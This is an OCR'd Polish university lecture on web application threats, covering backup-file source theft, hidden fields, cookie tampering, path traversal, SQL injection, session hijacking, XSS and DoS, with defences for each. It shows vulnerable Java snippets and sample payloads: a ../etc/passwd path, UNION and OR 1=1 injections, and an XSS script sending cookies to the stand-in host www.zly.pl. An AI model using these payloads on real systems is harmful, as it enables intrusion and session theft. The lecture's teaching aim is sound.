Aplikacje WWW

Wyktad 13

Zagrozenia bezpieczenstwa
aplikacji WWW

wyktad prowadzi: Maciej Zakrzewicz

Zagrozenia bezpieczenstwa




Aplikacje WWW

Plan wyktadu

* Przeglad wybranych metod atakéw
— kradziez kodu zrodtowego
— pola ukryte HTML
— zmienne Cookies
— Path Traversal
— SQL Injection
— przejecie sesji
— Cross-Site Scripting
— Denial od Service

Zagrozenia bezpieczenstwa (2)

Celem wyktadu jest omowienie najwazniejszych metod atakowania aplikacji WWW oraz
mechanizméw ochrony przed nimi. Poruszone zostang nastepujgce rodzaje zagrozenh: kradziez kodu
zrodtowego aplikacji JSP, atak na pola ukryte HTML, atak na zmienne Cookies, atak typu "Path
Traversal", atak typu "SQL Injection", przejecie sesiji, atak typu "Cross-Site Scripting" i atak typu
"Denial of Service".
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Kradziez kodu zrodtowego
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Zagrozenia bezpieczenstwa (3)

Kod zrédtowy aplikacji WWW powinien podlegac szczegdlnej ochronie. Znajomosc¢ kodu zrédtowego
przez intruza zdecydowanie utatwia planowanie i realizacje niebezpiecznych atakéw na funkcije
aplikaciji i ich dane. Na slajdzie zilustrowano sytuacje, ktéra sprzyja pozyskaniu kodu zrédtowego
aplikacji JSP przez osobe postronna.

Zatézmy, ze wdrozony zostat system aplikacji WWW wykonanych w technologii JSP. Jeden z
modutéw JSP nazywa sie "demo1.jsp". Twoérca tego modutu zauwazyt drobng usterke w jego
funkcjonowaniu i postanowit zmodyfikowac¢ kod zrédtowy bezposrednio na serwerze produkcyjnym.
Aby unikng¢ ewentualnych komplikaciji, programista w pierwszej kolejnosci sporzadzit kopie
modyfikowanego pliku, nazywajac jg "demo1.jsp.old". Kopia zostata umieszczona w tym samym
katalogu, w ktérym znajduje sie oryginat. Nastepnie usterka zostata usunieta, a programista opuscit
serwer. Zapomniat jednak usung¢ zbednej w tym momencie kopii bezpieczenstwa "demo1.jsp.old".
Czy w ten sposob wprowadzit jakiekolwiek zagrozenie? Okazuje sie, ze tak.

Rozwazmy co by sie stato, gdyby intruz przestat do serwera aplikacji zgdanie HTTP zawierajace
adres URL pliku bedacego kopig bezpieczehstwa aplikacji JSP. Poniewaz rozszerzenie nazwy pliku
to ".old", to plik ten nie zostatby rozpoznany jako modut JSP, nie doszioby zatem do jego
uruchomienia. Zamiast tego plik w oryginalnej postaci zostatby przekazany klientowi HTTP w ramach
odpowiedzi na zgdanie. Dzieki temu klient HTTP uzyskatby peten kod Zrédtowy modutu JSP
(oczywiscie w stanie sprzed ostatniej modyfikaciji).

Mozna zadac¢ pytanie, skad intruz znatby nazwe pliku zawierajgcego kopie bezpieczenstwa modutu
JSP? Mégtby jg prébowaé odgadnaé. Przeciez wiekszos¢ programistow wykorzystuje rozszerzenia
".old", ".bak", ".tmp" do oznaczenia tymczasowych kopii bezpieczenstwa.

Aby unikng¢ opisanej kradziezy kodu zrédtowego, nie nalezy przechowywac zapasowych kopii plikow
JSP w tym samym katalogu, w ktérym znajdujg sie aplikacje wykonywalne.



Aplikacje WWW
Pola ukryte HTML
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Nie uzywaj pdl ukrytych formularza do przekazywania poufnych
parametréw. Pola ukryte sg ukryte wylgcznie dla poczatkujacych
uzytkownikow.

Zagrozenia bezpieczenstwa (4)

Jezyk HTML oferuje programistom mechanizm tzw. pdl ukrytych (ang. hidden fields), ktére sg
niewyswietlanymi tekstowymi polami formularzy HTML. Poniewaz pola te nie sg widoczne dla
uzytkownika, ich warto$ci muszg by¢ zdefiniowane juz w kodzie zrédtowym dokumentu HTML.
Czesto programisci wykorzystujg ten mechanizm w celu "podrzucenia" uzytkownikowi formularza
pewnych parametrow, ktore uzytkownik nieswiadomie przesle do aplikacji obstugujgcej formularz.

Nalezy zauwazy¢, ze pola takie sgq w istocie ukryte wytacznie na ekranie programu klienta HTTP,
natomiast odczytanie ich wartosci nie stwarza zadnych problemoéw zaawansowanemu uzytkownikowi,
ktéry potrafi odczyta¢ kod zrédtowy dokumentu HTML lub przechwyci¢ komunikat odpowiedzi HTTP.
Réwnie tatwa jest zmiana wartosci tych parametrow - badz poprzez zapisanie kodu zrédtowego
dokumentu na dysku lokalnym i jego edycje, badz tez poprzez modyfikacje komunikatu zgdania
HTTP za pomocg aplikacji typu Local Proxy. W zwigzku z tym nie zaleca sie wykorzystywania pél
ukrytych do przekazywania parametréw, ktérych wartosci nie powinny by¢ udostepniane
uzytkownikowi, ani do przekazywania parametréw wptywajgcych na ochrone dostepu do danych.

Na slajdzie przedstawiono przyktad formularza HTML wyswietlanego przez program klienta HTTP.
Korzystajac z funkcji "Widok->Zrédto" programu Internet Explorer uzytkownik wyswietlit kod zrédtowy
formularza, w ktérym odnalazt definicje pola ukrytego o nazwie "databasePassword" i wartosci "tiger".
By¢ moze w ten sposob doszio do ujawnienia poufnego hasta umozliwiajacego nielegalny dostep do
bazy danych.
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Zmienne Cookies
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Podglad i modyfikacja wszystkich zmiennych Cookie lub parametréw
wywotania przekazywanych przez klienta HTTP. Nie uzywaj zmiennych
Cookie do przekazywania poufnych/krytycznych parametréw.

Zagrozenia bezpieczenstwa (5)

Zmienne Cookies umozliwiajg zapisywanie stanu aplikacji WWW po stronie klienta HTTP. Sg czesto
wykorzystywane do zapamietywania danych wprowadzonych wczesniej przez uzytkownika oraz
flag/wartos$ci generowanych przez aplikacije WWW. Nalezy zwrdci¢ uwage na to, ze zawartos¢
zmiennych Cookies nie jest chroniona przed ingerencjg uzytkownika koncowego. Korzystajac z
narzedzi typu Local Proxy uzytkownik moze zaréwno obejrze¢, jak i zmodyfikowaé wartosci
zmiennych Cookies. W zwigzku z tym nie nalezy traktowa¢ zmiennych Cookies jako wiarygodnego i
bezpiecznego mechanizmu przechowywania informac;ji po stronie klienta HTTP. Poniewaz w
zasadzie nie istnieje zaden inny bezpieczny mechanizm stuzacy do tego celu, to nalezy przynajmnie;j
rozwazy¢ mozliwo$¢ szyfrowania wartosci zmiennych Cookies tak, aby uniemozliwi¢ uzytkownikowi
koncowemu ich odczyt lub merytoryczng modyfikacje.

Przyktad przedstawiony na slajdzie pokazuje jak za pomocg narzedzia Local Proxy o nazwie
Odysseus moze zosta¢ odczytana i zmodyfikowana warto$¢ zmienne Cookie. Klient HTTP wysyta
zmienng Cookie o nazwie "czyAdministrator" i wartosci "false". Intuicja podpowiada nam w jaki
sposéb mozna teraz przejg¢ uprawnienia administratorskie w przyktadowej aplikaciji...
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Path Traversal

new FileReader("/opisy/"+request.getParameter("produkt"))

htkp: /v, poznan. plf aukcjeopis?produkt=2301

hitkp: f v, poznan, plf aukcie/opis?produkt=. . etc/passwd

v

n u

/opisy/2301 /etc/passwd

Zagrozenia bezpieczenstwa (6)

Atak metoda "Path Traversal" jest mozliwy w stosunku do tych aplikacji, ktére udostepniajg
uzytkownikom dane pobierane bezposrednio z plikéw dyskowych. Na slajdzie przedstawiono
fragment takiej aplikacji. Aplikacja ta wyswietla na ekranie opis kupowanego produktu, pobierajac go
z pliku 0 nazwie takiej, jak identyfikator produktu. Pliki z opisami produktéw znajdujg sie w katalogu
"opisy", a parametr stuzacy do przekazywania identyfikatora produktu nazywa sie "produkt". Jezeli
aplikacja jest wykorzystywana zgodnie z zamiarami jej twoércy, to gdy np. przekazany zostanie jej
identyfikator produktu 2301, wéwczas wyswietlona zostanie zawartos$¢ pliku "/opisy/2301".
Wyobrazmy sobie jednak, ze intruz dokonuje modyfikacji wartosci parametru "produkt" na
nastepujaca: "../etc/passwd". W efekcie pobrany zostanie plik o petnej nazwie "/opisy!/../etc/passwd",

czyli "/etc/passwd". W ten sposob intruz moze uzyskaé dostep do dowolnego pliku w systemie
operacyjnym serwera HTTP.

Podstawowa metoda ochrony przed tego typu atakami jest walidacja parametréw przekazywanych
przez uzytkownika tak, aby uniemozliwi¢ stosowanie symboli w rodzaju "..", "/", itp.
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SQL Injection (1)
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Serwlet Java obstugujacy formularz;

String query = "select opis from produkty where id_produktu=" +
request.getParameter("id");
ResultSet result = Statement.executeQuery(query);

System.out.printin(result.getString(1));

Zagrozenia bezpieczenstwa (7)

Bardzo wazng klasg zagrozen dla aplikacji WWW sg ataki typu SQL Injection (wstrzykiwanie kodu
SQL). Idee tego typu atakéw przedstawimy za pomocg przyktadu. Zatézmy, ze posiadamy aplikacje
sprzedazy internetowej, ktéra pozwala uzytkownikom przeglada¢ opisy sprzedawanych produktow.
Uzytkownik wprowadza identyfikator produktu do formularza HTML, naciska przycisk zatwierdzajacy
formularz, nastepuje uruchomienie serwletu Java, ktéry wykonuje w bazie danych dynamiczne
zapytanie pobierajace tres¢ opisu produktu o identyfikatorze identycznym z tym, ktéry wprowadzit
uzytkownik. Wartos¢ parametru zawierajgcego identyfikator produktu jest doklejana do szablonu
zapytania SQL o tresci "select opis from produkty where id_produktu=". W rezultacie uzytkownik
otrzymuje dokument HTML opisujacy interesujacy go produkt. Zgdanie zostato obstuzone wiasciwie,
bezpieczenstwo systemu nie zostato zagrozone. Ale czy na pewno? Przyjrzyjmy sie teraz w jaki
sposOb omawiana aplikacja mogtaby by¢ uzyta przez intruza.
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SQL Injection (2)
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Faktycznie wykonane zapytanie:

select opis from produkty where id_produktu=-1
union select haslo from users where nazwa='system’

Zagrozenia bezpieczenstwa (8)

Co by sie stato, gdyby do pola formularza uzytkownik wprowadzit nie identyfikator produktu, lecz
tancuch znakowy podobny do przedstawionego na slajdzie? Poniewaz omawiany serwlet Java po
prostu dokleja warto$¢ otrzymanego parametru do szablonu zapytania SQL, to wykonane bytoby
zapytanie zupetnie odmienne od tego, ktérego oczekiwat programista tworzacy serwlet. Tym razem
zapytanie nie zwraca opisu zadnego produktu, lecz zamiast tego pobiera inne, prawdopodobnie
poufne dane z bazy danych. Tego typu atak nazywany jest wiasnie atakiem SQL Injection.
Unikniecie takich atakéw jest mozliwe, o ile programista nie bedzie tatwowiernie wykonywac¢ kodu
polecen budowanych w oparciu o niesprawdzone parametry przekazane przez uzytkownika
koncowego. Gdyby wczesniej przeprowadzi¢ walidacje otrzymanego parametru lub postuzy¢ sie
parametryzowanym obiektem zapytania JDBC, nie doszto by do takiego zagrozenia.
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SQL Injection - przyktady

* Niekontrolowany dostep do danych
— ... UNION SELECT ...

« Zmiana sposobu dziatania aplikac;ji
- ...OR 1=1

* W wielu interpreterach SQL jest mozliwe wykonanie kilku dziatan w
jednym wierszu

— ...; DELETE * FROM ...
+ Modyfikacja danych
— String query = "UPDATE users SET password ="'+ haslo +
" WHERE username =" + uzytkownik + "";
— haslo: 'moje’
— uzytkownik: x' OR username LIKE 'admin

Zagrozenia bezpieczenstwa (9)

Atak typu SQL Injection moze by¢ przeprowadzony z uzyciem rozmaitych konstrukcji jezyka SQL.
Przykfady takich konstrukcji przedstawiono na slajdzie. Dotgczenie do zapytania operatora UNION
umozliwia odczytanie z bazy danych zupetnie innych tabel niz przewidywane przez programiste.
Rozwigzanie tego typu przedstawiliSmy na poprzednim slajdzie. Poprzez dotgczenie do zapytania
warunku logicznego zawsze spetnionego i powigzanie go spdjnikiem OR umozliwia uzyskanie
petnego dostepu do danych, ktére programista usitowat filtrowac. Kolejny pomyst opiera sie na
wiasnosci niektorych interpreterow SQL, pozwalajgcych na wykonanie kilku dziatan zapisanych w
jednym wierszu, oddzielanych znakami srednika. W ten sposéb mozemy np. wykonac polecenie
DELETE tam, gdzie zamiarem programisty byto polecenie INSERT. Wiele zagrozen wigze sie tez z
tymi aplikacjami, ktére parametry uzytkownika dotgczajg do poleceh modyfikacji danych, np.
UPDATE. Przyktad przedstawiony w dolnej czesci slajdu obrazuje fragment kodu zrédtowego w
jezyku Java, ktory umozliwia zmiane hasta uzytkownika o podanej nazwie. Jezeli jednak zamiast
nazwy uzytkownika wprowadzimy taricuch znakowy o brzmieniu "x' OR username LIKE 'admin", to
sprawimy, ze hasto zostanie zmienione takze administratorowi systemu. Zasieg atakow typu SQL
Injection jest ograniczony wytgcznie wyobraznig wtamywacza.
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Przejecie sesji

* Protokdt HTTP jest bezstanowy
+ Emulacja sesji
+ Kazda sesja otrzymuje identyfikator
+ ldentyfikator sesji przechowywane w zmiennej Cookie
» Aby podszy¢ sie pod cudzg sesje wystarczy znac jej
identyfikator
« Jak pozna¢ identyfikator ses;ji?
— podstuchac
— odgadnac¢
— wykras¢

Zagrozenia bezpieczenstwa (10)

W ramach wyktadu pt. "Logika prezentacji I" omoéwiliSmy problem emulacji ses;ji dla protokotu HTTP.
Idea rozwigzania opierata sie na zatozeniu, ze serwer aplikacji generuje dla kazdego klienta HTTP
niepowtarzalny identyfikator, nazywany identyfikatorem sesji. Identyfikator ten jest zwykle zapisywany
w zmiennej Cookie, dzieki czemu powraca do serwera aplikacji przy kazdym kolejnym zadaniu HTTP
zgtaszanym przez tego samego klienta HTTP. Po stronie serwera aplikacji znajduje sie tzw. tablica
sesji, w ktorej z kazdg wartoscig identyfikatora sesji zwigzany jest zbiér programowych obiektéw Java
reprezentujgcych stan ses;ji.

Zauwazmy, ze serwer aplikacji rozpoznaje uzytkownika konncowego i udostepnia mu stan sesji
wytgcznie w oparciu o wartos¢ identyfikatora sesji. Co by sie stato, gdyby inny uzytkownik postugiwat
sie identycznym identyfikatorem ses;ji? Wtedy obaj uzytkownicy byliby nierozréznialni dla serwera
aplikaciji, a ich dziatania traktowane bylyby jak dziatania pojedynczego uzytkownika. Serwery aplikacji
oczywiscie dbajg o to, aby nie generowac¢ identycznych identyfikatorow ses;ji dla réznych
uzytkownikow, lecz moze sie zdarzy¢, ze intruz celowo zmodyfikuje warto$¢ wiasnej zmiennej Cookie
tak, aby posiadata ona wartos¢ identyfikatora ses;ji innego uzytkownika. Tego typu atak nazywany jest
"Przejeciem sesji" (ang. session hijack).

Wyobrazmy sobie jak przebiegatby atak typu "Przejecie sesji" w kontekscie wykorzystywania aplikaciji
bankowosci internetowej. Do systemu loguje sie rzeczywisty wiasciciel konta. Wprowadza nazwe
uzytkownika i hasto, by¢ moze nawet bezpieczne hasto jednokrotne. System bankowy generuje dla
tego uzytkownika identyfikator ses;ji i zapisuje w zmiennej Cookie. Od tego momentu kazda operacja
finansowa, ktorej towarzyszy wtasnie ten identyfikator sesji jest traktowana jako operacja zlecona
przez powyzszego uzytkownika. A teraz wyobrazmy sobie, ze intruz samodzielnie tworzy zmienng
Cookie reprezentujacy identyfikator sesji i wprowadza do nie identyczny identyfikator jak rzeczywisty
wiasciciel konta. Operacje finansowe zlecane teraz przez intruza sg rozpoznawane jako operacije
Zlecone przez rzeczywistego wiasciciela konta. Intruz moze np. dokonac kradziezy pieniedzy poprzez
wykonanie przelewu bankowego.

Aby atak typu "Przejecie sesji" mogt sie powies¢, intruz musi wiedzie¢, jaki identyfikator sesji zostat
wygenerowany dla innego uzytkownika. Istniejg trzy metody poznania identyfikatora sesji. Moze on
zostac podstuchany podczas transmisji zmiennej Cookie, mozna go prébowac¢ odgadnag, lub tez
wykrasé. Dwie ostatnie metody oméwimy na kolejnych slajdach.
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= Przewidywalny identyfikator sesji

* Powinien by¢ generowany przez silny algorytm losowy

* Przestrzen mozliwych identyfikatoréw powinna by¢
bardzo duza

» Zte praktyki:
— |dentyfikator sekwencyjny
— Identyfikator zalezny od parametrow uzytkownika
— Identyfikator o nieograniczonym czasie waznosci

Zagrozenia bezpieczenstwa (11)

Zwykle identyfikator sesji jest generowany przez serwer aplikacji, niemniej jednak jezeli odbywa sie to
przy uzyciu niedbale zaimplementowanego algorytmu, to wzrasta poziomo zagrozenia aplikac;ji
atakami typu "Przejecie ses;ji". ldentyfikator sesji powinien by¢ generowany przez silny algorytm
losowy tak, aby intruz nie mogt tatwo odgadna¢ kolejnej wartosci identyfikatora generowanego dla
nowego uzytkownika. Jednoczesnie przestrzen, czy tez liczba mozliwych kombinacji identyfikatorow
powinna by¢ tak duza, aby wykluczy¢ ataki brutalne polegajace na testowaniu wszystkich mozliwych
kombinacji. Do ztych praktyk generowania identyfikatorow sesiji zalicza sie m.in.: generowanie
identyfikatorow sekwencyjnych, w ktérych kolejna sesja otrzymuje wartos¢ identyfikatora o jeden
wyzszg od poprzedniej sesji, generowanie identyfikatorow na podstawie nazwy uzytkownika lub jego
adresu IP np. za pomoca funkcji mieszajacej, czy tez generowanie identyfikatoréw sesiji, ktére nie
tracg waznosci po okreslonym czasie i moga byé ponownie wykorzystywane w przyszto$ci.
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= Wykradniecie identyfikatora sesji

» Stabosci:
— klientow HTTM - standardowo zmienne Cookie sg
dostepne tylko dla serwera HTTP ktory je utworzyt
* http://www.zly.pl%2fcookie.html%3f.poznan.pl
* http://www.zly.pl/cookie.html?.poznan.pl
— serwerow HTTP
* np: PHP4 zapisywato identyfikatory sesji w
katalogu /tmp na serwerze
» Cross-Site Scripting

Zagrozenia bezpieczenstwa (12)

Kradziez identyfikatora sesji moze by¢ dokonana w wyniku pewnych stabosci klientow HTTP lub
serwerow HTTP. Standardowo, zmienne Cookie sg dostepne tylko dla tych serweréw HTTP, ktore je
utworzyty. Jednak w przesztosci niektére programy klientéw HTTP mogty zosta¢ oszukane poprzez
odpowiednie sformatowanie adresu URL zadania HTTP. Na slajdzie przedstawiono przyktad adresu
URL, ktory zawiera znaki specjalne kodowane jako symbole ASCII, dzieki czemu sprawia wrazenie
adresu z domeny sieciowe] "poznan.pl". W rzeczywistosci jednak jest to adres z domeny sieciowej
"zly.pl", umozliwiajacy dostep do zmiennych Cookie utworzonych przez serwer HTTP pracujacy w
domenie "poznan.pl".

Przyktadem innej stabosci byt serwer aplikacji PHP4, ktéry wartosci wszystkich identyfikatorow sesji
przechowywat w katalogu "tmp" systemu plikdw. Intruz, ktéremu udato sie uzyskaé dostep do tego
katalogu mogt przeja¢ dowolng sesje dowolnego uzytkownika.

Jednak jedng z najpopularniejszych metod kradziezy identyfikatorow sesiji jest "Cross-Site Scripting".
Metodzie tej poswiecimy kolejny slajd.
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Aplikacje WWW

Cross-Site Scripting (XSS)

[ ke 1 el It Evl .mm‘

P Edvche Wik Ukbore  Heroedda  Pemog

Tres¢ ogtoszenia w serwisie aukcyjnym

O wee = ) - %] 2]

e rpnen i Samochod Syrena 104, stan idealny, oto fotografia:
Aukeje24.pl

<script>document.write('<img src="http://www.zly.pl/foto.jpg?"'

Spreedam

+document.cookie+'>")</script>

Smncehod Syrean 104, stam idealny, oto fotograba

e  vowoe Zawarto$¢ pliku dziennika serwera www.zly.pl

150.254.31.11 - - [19/Mar/2006:19:05:35 +0100] "GET /foto.jpg?
JSESSIONID=7f000001231cf38881bd514adbed815cd983a94ca205
HTTP/1.0" 200 980

Zagrozenia bezpieczenstwa (13)

Ataki typu Cross-Site Scripting (XSS, CSS) zaliczajg sie do bardzo groznych, najczesciej polegajg na
kradziezy zmiennych Cookie z komputera ofiary poprzez wykonanie na nim ztosliwego kodu
JavaScript. Idee tego ataku przedstawimy na przyktadzie zilustrowanym na slajdzie.

Zatézmy istnienie internetowego serwisu aukcyjnego umozliwiajacego uzytkownikom zamieszczanie
ogtoszen sprzedazy rozmaitych przedmiotéw. Zamieszczone ogtoszenia sg gromadzone w bazie
danych, a nastepnie udostepniane zainteresowanym uzytkownikom. Zatézmy, ze tres¢ jednego z tych
ogtoszen ma postac takg jak przedstawiona na slajdzie. Zauwazmy, ze w tresci ogtoszenia znajduje
sie celowo wprowadzony fragment kodu w jezyku JavaScript. Gdy ogtoszenie to bedzie pobierane i
wyswietlane przez klientéw HTTP, kod ten bedzie wykonywany. Przyjrzyjmy sie teraz szczegétom
tego kodu. Generowany jest pozornie niegrozny znacznik "img" stuzacy do osadzenia na stronie
obrazu graficznego. Jednak do adresu URL tego obrazu dotaczana jest warto$¢ atrybutu "cookie"
obiektu "document”, ktéra w srodowisku JavaScript reprezentuje tancuch wszystkich zmiennych
Cookie. W rezultacie, adres osadzanego na stronie obrazu graficznego bedzie zawierac¢ liste
wszystkich zmiennych Cookie przechowywanych przez klienta HTTP. Przyjmujac, ze intruz posiada
dostep do serwera HTTP, do ktérego odnosit sie adres URL obrazu graficznego, bedzie on mégt
odczytac te liste z pliku dziennika serwera, w ktérym wspomniane zadanie zostanie zarejestrowane.
Przyktad przedstawiony na slajdzie pokazuje zarejestrowang warto$¢ zmiennej Cookie o nazwie
"JSESSIONID", ktéra akurat w tym przypadku reprezentuje identyfikator sesji uzytkownika. Stad juz
tylko krok dzieli nas od przeprowadzenia skutecznego ataku typu przejecie sesiji.

W celu unikniecia tego typu atakéw zaleca sie, aby publiczne serwisy internetowe nie pozwalaty
uzytkownikom na publikowanie tresci zawierajacych zagniezdzony kod JavaScript. Wymaga to
implementacji stosownego kodu walidacji danych przekazywanych przez uzytkownikow. Podkresimy,
ze przed atakami Cross-Site Scripting nie chroni nawet SSL.
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Aplikacje WWW
= Denial of Service (DoS)

* Duza liczba sztucznie generowanych zadan HTTP
* Przecigzenie systemu
* Pogorszenie jakosci obstugi uzytkownikow

Zagrozenia bezpieczenstwa (14)

Ataki typu "Denial of Service" (DoS, DDos) polegajg na generowaniu duzej sztucznych zadan HTTP,
ktére spowodujg przecigzenie atakowanego systemu. Ich skutkiem moze by¢ istotne pogorszenie
jakosci obstugi uzytkownikéw, ktérzy w rezultacie zrezygnujg z ustug danego podmiotu, badz tez
catkowita zapasé systemu w zwigzku z wyczerpaniem takich zasobdw jak pamie¢ operacyjna.
Wczesne rozpoznawanie tego typu atakow jest trudne, gdyz sztucznie generowane zadania nie
réznig sie od zadan przesytanych przez rzeczywistych uzytkownikéw. W zasadzie nie istnieje zadna
niezawodna metoda ochrony przed takimi atakami.
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Aplikacje WWW

Podsumowanie

» Pola ukryte, zmienne Cookies: ograniczone zaufanie
+ Walidacja danych wejsciowych
* Przejecie ses;ji - wtdérne uwierzytelnianie

Zagrozenia bezpieczenstwa (15)

Nalezy podkresli¢ trzy gtéwne konkluzje wynikajgce z tego wyktadu. Po pierwsze, programista
powinien wykazywac ograniczone zaufanie do pél ukrytych HTML i zmiennych Cookies.
Otrzymywane od nich wartosci niekoniecznie muszg by¢ tymi samymi, ktére wczesniej w nich
zapisaliSmy. Po drugie, w kazdej aplikacji WWW niezbedna i krytyczna jest walidacja wszelkich
danych wejsciowych pozyskiwanych od uzytkownika. Brak walidacji otwiera intruzom droge do
stosowania szerokiej palety metod ataku, m.in. SQL Injection i Cross-Site Scripting. Po trzecie,
nalezy przyjac, ze mechanizm sesji HTTP jest z definicji podatny na zagrozenia, w zwigzku z czym w
krytycznych punktach aplikacji, np. w chwili wykonywania przelewu w aplikacji bankowosci
internetowej, wskazane jest wtorne uwierzytelnienie uzytkownika np. za pomoca hasta
jednokrotnego.
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Aplikacje WWW
= Materiaty dodatkowe

* "The 10 Most Critical Web Application Security
Vulnerabilities", http://www.owasp.org

Zagrozenia bezpieczenstwa (16)
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